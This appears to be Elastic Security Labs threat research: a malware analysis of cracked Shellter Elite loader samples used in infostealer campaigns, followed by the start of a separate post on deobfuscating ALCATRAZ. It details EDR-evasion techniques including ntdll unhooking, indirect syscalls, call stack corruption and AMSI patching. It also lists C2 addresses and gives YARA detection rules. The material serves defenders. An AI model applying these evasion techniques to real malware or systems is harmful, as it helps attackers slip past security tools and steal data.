The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.

Unhooking System Modules via File-mappings

To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of ntdll.dll via NtCreateSection and NtMapViewOfSection.

There is also a second option for unhooking by loading a clean ntll.dll from the KnownDLLs directory via NtOpenSection and NtMapViewOfSection.

Payload Encryption and Compression

SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:

Embedded key/IV: A randomly generated key/IV pair is embedded directly within the SHELLTER payload.
Server-fetched key/IV: The key/IV pair is fetched from an adversary-controlled server.

For samples that utilized the embedded option, we successfully recovered the underlying payload.

The encrypted blobs are located at the end of each SHELLTER payload.

The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.

In Shellter Elite v11.0, by default, payloads are compressed using the LZNT1 algorithm before being encrypted.

DLL Preloading & Call Stack Evasion

The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as advapi32.dll, wininet.dll, and crypt32.dll, to support the underlying payload’s operations. The three configurable options include:

--Force-PreloadModules-Basic (16 general-purpose modules)
--Force-PreloadModules-Networking (5 network-specific modules)
--Force-PreloadModules-Custom (up to 16 user-defined modules)

These modules are being loaded through either LoadLibraryExW or LdrLoadDll. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.

Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the --Force-PreloadModules-Basic option, found in a sample that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach favored by some threats.

The following example is a list that matches the --Force-PreloadModules-Networking option found in a sample loading LUMMA.

This feature (released in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the LoadLibraryExW call while loading networking and cryptography-related libraries.

Below is an example of a procmon trace when loading wininet.dll, showing a truncated call stack:

In the same sample that has the --Force-PreloadModules-Basic flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, urlmon.dll also conceals the source of the LoadLibraryExW call for its dependencies iertutil.dll, srvcli.dll, and netutils.dll.

Unlinking of AV/EDR Modules

SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (PEB). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. PEB LDR is a structure in Windows that contains information about a process's loaded modules.

We only observed one unique module name based on its hash (different per sample), which ends up resolving to kern3l32.dll [sic].

API Hashing Obfuscation

Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the SystemTime value from the KUSER_SHARED_DATA structure at address 0x7FFE0014 to derive a dynamic XOR key.

It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.

Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.

License Check and Self-disarm

For each SHELLTER payload, there are three embedded FILETIME structures. In an example sample, these were found to be:

License expiry datetime (2026-04-17 19:17:24.055000)
Self-disarm datetime (2026-05-21 19:44:43.724952)
Infection start datetime (2025-05-21 19:44:43.724952)

The license expiry check compares the current time to the license expiry datetime, setting the license_valid flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the license_valid flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.

By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded ntdll module (if present) and clearing the NTAPI lookup table, which references either the manually mapped ntdll module or the one loaded during process initialization.

While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.

It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.

| SHA256 | License Expiration | Self-disarm | Infection Start | Family | | :---- | :---- | :---- | :---- | :---- | | c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30 | 2026-04-17 19:17:24.055000 | 2026-05-27 19:57:42.971694 | 2025-05-27 19:57:42.971694 | RHADAMANTHYS | | 7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10 | 2026-04-17 19:17:24.055000 | 2026-05-21 19:44:43.724953 | 2025-05-21 19:44:43.724953 | UNKNOWN | | b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad | 2026-04-17 19:17:24.055000 | 2026-05-24 11:42:52.905726 | 2025-05-24 11:42:52.905726 | ARECHCLIENT2 | | da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880 | 2026-04-17 19:17:24.055000 | 2026-04-27 22:40:00.954060 | 2025-04-27 22:40:00.954060 | LUMMA | | 70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1 | 2026-04-17 19:17:24.055000 | 2026-05-16 16:12:09.711057 | 2025-05-16 16:12:09.711057 | UNKNOWN |

Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:

```yara
rule SHELLTER_ILLICIT_LICENSE {
meta:
author = "Elastic Security"
last_modified = "2025-07-01"
os = "Windows"
family = "SHELLTER"
threat_name = "SHELLTER_ILLICIT_LICENSE"

strings:

    // 2026-04-17 19:17:24.055000  
    $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

condition:  
    any of them

}

### Memory Scan Evasion

SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include: 

- Decoding and re-encoding instructions at runtime  
- Removal of execute permissions on inactive memory pages  
- Reducing footprint, impacting in-memory signatures using YARA  
- Using Windows internals structures, such as the `PEB`, as temporary data holding spots

SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using `NtQueryVirtualMemory` and `NtProtectVirtualMemory`.

![Initial memory page showing memory not committed](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt79210aadf55f486a/6a7c9507fc63ab66a76473d8/image18.png "Initial memory page showing memory not committed")

![Memory page moves to PAGE_READWRITE](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt124a53172486eb79/6a7c95092f00b2fa76ef924e/image13.png "Memory page moves to PAGE_READWRITE")

Once the page is active, the encoded bytes can be observed at this address, `0x7FF5FFCE0000`.

![Encoded trampoline stub](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt320e55ea42db0af1/6a7c950c2f00b20755ef9254/image21.png "Encoded trampoline stub")

SHELLTER decodes this page when active through an XOR loop using the derived `SystemTime` key from the `KUSER_SHARED_DATA` structure.

![Encoding XOR loop for encoding/decoding trampoline stub](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt42d619eed677941d/6a7c950f73d9bd7314298010/image12.png "Encoding XOR loop for encoding/decoding trampoline stub")

Below is this same memory page (`0x7FF5FFCE0000`), showing the decoded trampoline stub for the syscall (`ntdll_NtOpenFile`).

![Decoded trampoline stub for NtOpenFile](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e3869c3cd8165e1/6a7c95127cfd7a0aca3150da/image36.png "Decoded trampoline stub for NtOpenFile")

When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.

![Memory page moves to PAGE_EXECUTE_READ](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4c477ecd3b8f36ee/6a7c9514e3a2194917999b4a/image42.png "Memory page moves to PAGE_EXECUTE_READ")

The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.

### Indirect Syscalls / Call stack Corruption

As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking `syscall` directly, it prepares the stack with the address of a clean `syscall` instruction from `ntdll.dll`. A `ret` instruction then pops this address into the `RIP` register, diverting execution to the `syscall` instruction stealthily.

![Trampoline code](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt458ab950a88dac11/6a7c95177cfd7a6e6a3150de/image1.png "Trampoline code")

![Syscall instruction from clean ntdll.dll](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt883d50abe99adb10/6a7c951a7cfd7a817a3150e2/image31.png "Syscall instruction from clean ntdll.dll")

Below is an example of Elastic Defend `VirtualProtect` events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.

![Elastic Defend eventing for indirect calls and truncated call stacks](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt926aedbf4fab58cd/6a7c951d51156a7f272bcd03/image16.png "Elastic Defend eventing for indirect calls and truncated call stacks")

### Advanced VM/Sandbox Detection

SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to `ZwQuerySystemInformationEx` using `CPUID` and `_bittest` instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag. 

![Hypervisor detection](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt79e57aec010e6624/6a7c9520da3d050221634171/image17.png "Hypervisor detection")

### Debugger Detection (UM/KM)

SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the `KdDebuggerEnabled` flag via the `_KUSER_SHARED_DATA` structure.

![Debugging detections](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt693e5ca2ea725405/6a7c95235967e56c795d793a/image23.png "Debugging detections")

### AMSI Bypass

There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string "AMSI" with null bytes and patches conditional jumps to its opposite. 

![Patch the “AMSI” string in the AMSI functions to null bytes](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1f836de05be9f8d1/6a7c95266c6eac738ef0e7e3/image9.png "Patch the “AMSI” string in the AMSI functions to null bytes")

The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the `CLSID_Antimalware` GUID constant `{fdb00e52-a214-4aa1-8fba-4357bb0072ec}` within `amsi.dll`, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID. 

![Patch reference point to CLSID_Antimalware GUID constant](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt54d7a745d79971bc/6a7c9528da3d05f1c0634175/image2.png "Patch reference point to CLSID_Antimalware GUID constant")

The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the `DllGetClassObject` function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing `AmsiInitialize` to fail with a `CLASS_E_CLASSNOTAVAILABLE` exception.

![AmsiAntimalware ATL Object Map entry in amsi.dll](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta1cd3f95b735cb0d/6a7c952b4c4bfb5f76cc7c74/image32.png "AmsiAntimalware ATL Object Map entry in amsi.dll")

It then calls `AmsiInitialize` - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The `HAMSICONTEXT` obtained from `AmsiInitialize` contains a pointer to an `IAntimalware` COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function `IAntimalware::Scan` in this table. To neutralize it, the code searches the memory page containing the `IAntimalware::Scan` function for a `ret` instruction. 

![Find ret gadget in IAntimalware::Scan function](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3620031b5e353510/6a7c952e3ce8e21caccefaf8/image8.png "Find ret gadget in IAntimalware::Scan function")

After finding a suitable gadget, it overwrites the `Scan` function pointer with the address of the `ret` gadget. The result is that any subsequent call to `AmsiScanBuffer` or `AmsiScanString` will invoke the patched vtable, jump directly to a `ret` instruction, and immediately return.

![Overwrite IAntimalware::Scan function pointer with ret gadget](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt29807d72358a68e3/6a7c9530ead8ec06b1ba4d5c/image38.png "Overwrite IAntimalware::Scan function pointer with ret gadget")

### Vectored Exception Handler API Proxy

There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.

Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to `PAGE_READONLY`, and attempting to execute code there will cause a `STATUS_ACCESS_VIOLATION` exception, which is intended. The addresses of these trigger pages are stored in the context structure:

* `api_call_trigger_page` - The page that will be called to initiate the proxy.  
* `api_return_trigger_page` - The page that the actual API will return to.

![Memory Allocation for trigger pages](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt61058f764262ef42/6a7c9533c2cc09558e2437bd/image40.png "Memory Allocation for trigger pages")

An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using `RtlAddVectoredExceptionHandler`. A hardcoded magic placeholder value (`0xe1e2e3e4e5e6e7e8`) in the handler is then overwritten with a pointer to the context structure itself.

![In-memory patch of the magic value in the exception handler](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3d23d1fe7e82bec5/6a7c95367cfd7a17d23150e6/image22.png "In-memory patch of the magic value in the exception handler")

Looking at an example callsite, if the VEH proxy is to be used, the address of `GetCurrentDirectoryA` will be stored into `ctx_struct->target_API_function`, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a `STATUS_ACCESS_VIOLATION` exception.

![Example callsite with the option to utilize VEH API proxying](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt56c804b087bf9dd9/6a7c9539227b1c4745592b11/image24.png "Example callsite with the option to utilize VEH API proxying")

Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:

* Save the original return address  
* Overwrite the return address on the stack with the address of the return trigger page  
* Sets the `RIP` register to the actual API address saved previously in `ctx_struct->target_API_function`.

The `GetCurrentDirectoryA` call is then executed. When it finishes, it jumps to the return trigger page, causing a second `STATUS_ACCESS_VIOLATION` exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, `RIP` is set to the original return address and the control flow returns to the original call site.

![Exception handler template](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt540551d774acad68/6a7c953bb437707e014d140f/image35.png "Exception handler template")

## Campaigns

In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows. 

![Activity Timeline](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt948a006c7bf9b1d6/6a7c953e8fc2d017c83e8cb9/image6.png "Activity Timeline")

### LUMMA

LUMMA [infostealer](https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details) was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to [verify](https://app.any.run/tasks/eab157aa-5609-4b33-a571-808246d1cf92) (using ANY.RUN) that related files were being hosted on the [MediaFire](https://www.mediafire.com/) file hosting platform.

![Submission data for the LUMMA sample](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt726ea8bd916f2e15/6a7c95414c4bfb99fdcc7c7a/image5.png "Submission data for the LUMMA sample")

### Want-to-Sell

On May 16th, Twitter/X user [@darkwebinformer](https://x.com/DarkWebInformer) [posted](https://x.com/DarkWebInformer/status/1923472392157790700) a screenshot with the caption:  
> 🚨Shellter Elite v11.0 up for sale on a popular forum

![Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt14963faab7f3647f/6a884568fe5e84092f38ad81/image19.png "Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post")

“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.

### ARECHCLIENT2 

Starting around May, we observed campaigns [targeting](https://www.reddit.com/r/PartneredYoutube/comments/1ks2svg/skillshare_sponsorship/) content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (`.rar`), which contain legitimate promotional content packaged with a SHELLTER-protected executable. 

![RAR archive contents](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4cc85b12fc402538/6a7c95447cfd7a558d3150f0/image41.png "RAR archive contents")

This underlying [executable](https://www.virustotal.com/gui/file/748149df038a771986691e3f54afea609ceb9fbfcbec92145beb586bec039e6a/details) shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see [samples](https://www.virustotal.com/gui/file/b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad/details) with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates. 

![Low detection of SHELLTER-protected ARECHCLIENT2](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt481b42c807999a7e/6a7c954651156a26592bcd0b/image25.png "Low detection of SHELLTER-protected ARECHCLIENT2")

The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to `185.156.72[.]80:15847,` which was [previously identified](https://www.elastic.co/security-labs/a-wretch-client) by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.

### RHADAMANTHYS

These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire. 

![Distribution through YouTube comments](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaf2b05de5c687034/6a7c954a33fa8a84021fcd8f/image10.png "Distribution through YouTube comments")

One of the [files](https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details) that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.

![Submission data for RHADAMANTHYS sample](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0f92557fba3efebc/6a7c954d51156aea582bcd13/image3.png "Submission data for RHADAMANTHYS sample")

This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.

![RHADAMANTHYS strings](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0b238b91592a55f2/6a7c9550bdcff01c98c3d4b3/image46.png "RHADAMANTHYS strings")

## SHELLTER Unpacker

Elastic Security Labs is [releasing](https://github.com/elastic/labs-releases/tree/main/tools/shellter) a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.

As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.

**For safety reasons, this tool should only be executed within an isolated virtual machine.** During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.

![SHELLTER Unpacker screenshot](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7897b0b6d9904446/6a7c9553bdcff004d4c3d4b7/image26.png "SHELLTER Unpacker screenshot")

## Conclusion

Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.

We expect:

* This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.  
* The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.  
  * Any new tooling will remain a target for malicious actors.  
* More advanced threats will analyze these samples and incorporate features into their toolsets.

Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.

## Malware and MITRE ATT&CK

Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

### Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

* [Command and Control](https://attack.mitre.org/tactics/TA0011/)  
* [Collection](https://attack.mitre.org/tactics/TA0100/)  
* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)  
* [Execution](https://attack.mitre.org/tactics/TA0002/)  
* [Initial Access](https://attack.mitre.org/tactics/TA0001/)  
* [Resource Development](https://attack.mitre.org/tactics/TA0042/)

### Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

* [Application Layer Protocol](https://attack.mitre.org/techniques/T1071/)  
* [Data from Local System](https://attack.mitre.org/tactics/TA0009/)  
* [Process Injection: Thread Execution Hijacking](https://attack.mitre.org/techniques/T1055/003/)  
* [Obfuscated Files or Information: Junk Code Insertion](https://attack.mitre.org/techniques/T1027/016/)  
* [Content Injection](https://attack.mitre.org/tactics/TA0001/)  
* [Obtain Capabilities](https://attack.mitre.org/techniques/T1588/)

## Mitigating SHELLTER 

### Prevention

- [Shellcode from Unusual Microsoft Signed Module](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_from_unusual_microsoft_signed_module.toml)  
- [Unbacked Shellcode from Unsigned Module](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml)  
- [Shellcode Execution from Low Reputation Module](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml)  
- [Potential Evasion via Invalid Code Signature](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml)  
- [Thread Suspension from Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_thread_suspension_from_unbacked_memory.toml)  
- [Suspicious Executable Memory Mapping](https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_suspicious_executable_memory_mapping.toml)

### YARA

Elastic Security has created YARA rules to identify this activity.

yara
rule Windows_Trojan_Shellter {
meta:
author = "Elastic Security"
creation_date = "2025-06-30"
last_modified = "2025-06-30"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "Shellter"
threat_name = "Windows.Trojan.Shellter"
reference_sample = "c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30"

strings:  
    $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
    $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
    $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
    $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
    $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
    $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
    $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
condition:  
    3 of them

}
```

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

De-obfuscating ALCATRAZ

Daniel Stepanic — Fri, 23 May 2025 00:00:00 GMT

Introduction

Elastic Security Labs analyzes diverse malware that comes through our threat hunting pipelines and telemetry queues. We recently ran into a new malware family called DOUBLELOADER, seen alongside the RHADAMANTHYS infostealer. One interesting attribute of DOUBLELOADER is that it is protected with an open-source obfuscator, ALCATRAZ first released in 2023. While this project had its roots in the game hacking community, it’s also been observed in the e-crime space, and has been used in targeted intrusions.

The objective of this post is to walk through various obfuscation techniques employed by ALCATRAZ, while highlighting methods to combat these techniques as malware analysts. These techniques include control flow flattening, instruction mutation, constant unfolding, LEA constant hiding, anti-disassembly tricks and entrypoint obfuscation.

Key takeaways

The open-source obfuscator ALCATRAZ has been seen within new malware deployed alongside RHADAMANTHYS infections
Obfuscation techniques such as control flow flattening continue to serve as road blocks for analysts
By understanding obfuscation techniques and how to counter them, organizations can improve their ability to effectively triage and analyze protected binaries.
Elastic Security Labs releases tooling to deobfuscate ALCATRAZ protected binaries are released with this post

DOUBLELOADER

Starting last December, our team observed a generic backdoor malware coupled with RHADAMANTHYS stealer infections. Based on the PDB path, this malware is self-described as DOUBLELOADER.

This malware leverages syscalls such as NtOpenProcess, NtWriteVirtualMemory, NtCreateThreadEx launching unbacked code within the Windows desktop/file manager (explorer.exe). The malware collects host information, requests an updated version of itself and starts beaconing to a hardcoded IP (185.147.125.81) stored within the binary.

DOUBLELOADER samples include a non-standard section (.0Dev) with executable permissions, this is a toolmark left based on the author's handle for the binary obfuscation tool, ALCATRAZ.

Obfuscators such as ALCATRAZ end up increasing the complexity when triaging malware. Its main goal is to hinder binary analysis tools and increase the time of the reverse engineering process through different techniques; such as hiding the control flow or making decompilation hard to follow. Below is an example of obfuscated control flow of one function inside DOUBLELOADER.

The remainder of the post will focus on the various obfuscation techniques used by ALCATRAZ. We will use the first-stage of DOUBLELOADER along with basic code examples to highlight ALCATRAZ's features.

ALCATRAZ

ALCATRAZ Overview

Alcatraz is an open-source obfuscator initially released in January 2023. While the project is recognized within the game hacking community as a foundational tool for learning obfuscation techniques, it’s also been observed being abused by e-crime and APT groups.

Alcatraz’s code base contains 5 main features centered around standard code obfuscation techniques along with enhancement to obfuscate the entrypoint. Its workflow follows a standard bin2bin format, this means the user provides a compiled binary then after the transformations, they will receive a new compiled binary. This approach is particularly appealing to game hackers/malware developers due to its ease of use, requiring minimal effort and no modifications at the source code level.

The developer can choose to obfuscate all or specific functions as well as choose which obfuscation techniques to apply to each function. After compilation, the file is generated with the string (obf) appended to the end of the filename.

Obfuscation techniques in ALCATRAZ

The following sections will go through the various obfuscation techniques implemented by ALCATRAZ.

Entrypoint obfuscation

Dealing with an obfuscated entrypoint is like getting a flat tire at the start of a family roadtrip. The idea is centered on confusing analysts and binary tooling where it’s not directly clear where the program starts, causing confusion at the very beginning of the analysis process.

The following is the view of a clean entrypoint (0x140001368) from a non-obfuscated program within IDA Pro.

By enabling entrypoint obfuscation, ALCATRAZ moves the entrypoint then includes additional code with an algorithm to calculate the new entrypoint of the program. Below is a snippet of the decompiled view of the obfuscated entry-point.

As ALCATRAZ is an open-source obfuscator, we can find the custom entrypoint code to see how the calculation is performed or reverse our own obfuscated example. In our decompilation, we can see the algorithm uses a few fields from the PE header such as the Size of the Stack Commit, Time Date Stamp along with the first four bytes from the .0dev section. These fields are parsed then used with bitwise operations such as rotate right (ROR) and exclusive-or (XOR) to calculate the entrypoint.

Below is an example output of IDA Python script (Appendix A) that parses the PE and finds the true entrypoint, confirming the original starting point (0x140001368) with the non-obfuscated sample.

Anti-disassembly

Malware developers and obfuscators use anti-disassembly tricks to confuse or break disassemblers in order to make static analysis harder. These techniques abuse weaknesses during linear sweeps and recursive disassembly, preventing clean code reconstruction where the analyst is then forced to manually or automatically fix the underlying instructions.

ALCATRAZ implements one form of this technique by modifying any instructions starting with the 0xFF byte by adding a short jump instruction ( 0xEB) in front. The 0xFF byte can represent the start of multiple valid instructions dealing with calls, indirect jumps, pushes on the stack. By adding the short jump 0xEB in front, this effectively jumps to the next byte 0xFF. While it’s not complex, the damage is done breaking disassembly and requiring some kind of intervention.

In order to fix this specific technique, the file can be patched by replacing each occurrence of the 0xEB byte with NOPs. After patching, the code is restored to a cleaner state, allowing the following call instruction to be correctly disassembled.

Instruction Mutation

One common technique used by obfuscators is instruction mutation, where instructions are transformed in a way that preserves their original behavior, but makes the code harder to understand. Frameworks such as Tigress or Perses are great examples of obfuscation research around instruction mutation.

Below is an example of this technique implemented by ALCATRAZ, where any addition between two registers is altered, but its semantic equivalence is kept intact. The simple add instruction gets transformed to 5 different instructions (push, not, sub, pop, sub).

